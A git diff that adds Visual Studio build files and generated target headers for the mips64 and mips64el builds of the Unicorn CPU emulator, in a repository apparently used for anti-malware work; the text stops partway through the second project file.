/dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/config-target.h @@ -0,0 +1,7 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ABI_MIPSN64 1 +#define TARGET_MIPS64 1 +#define TARGET_NAME "mips64" +#define TARGET_MIPS 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj new file mode 100644 index 0000000..4e76dc3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj @@ -0,0 +1,237 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\mips64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{4A9F9353-DB63-460A-BB1C-9CB519DFD414}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mips64softmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj.filters new file mode 100644 index 0000000..c5aac69 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj.filters @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{d5143bfc-0d98-4c10-aa97-eddbc37aca5e}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{c27c2a6c-adb5-4f4a-ae2d-778d1aff259e}</UniqueIdentifier> + </Filter> + <Filter Include="hw\mips"> + <UniqueIdentifier>{39b8b5d5-ffa1-4eb6-ab78-2edb05e49e84}</UniqueIdentifier> + </Filter> + <Filter Include="target-mips"> + <UniqueIdentifier>{a4e58c5f-5143-4c18-b291-2f472259d6d9}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{bbe2ce8b-4fcd-496e-9f45-6f65ada00d84}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{3c66ada6-0f5f-40f5-a62c-c6dee6596791}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\mips64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c"> + <Filter>target-mips</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/config-target.h new file mode 100644 index 0000000..95c8351 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ABI_MIPSN64 1 +#define TARGET_MIPS64 1 +#define TARGET_NAME "mips64el" +#define TARGET_MIPS 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj new file mode 100644 index 0000000..03b981b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj @@ -0,0 +1,237 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\mips64el.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{4478909E-6983-425C-9D9F-558CF258E61E}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mips64elsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + 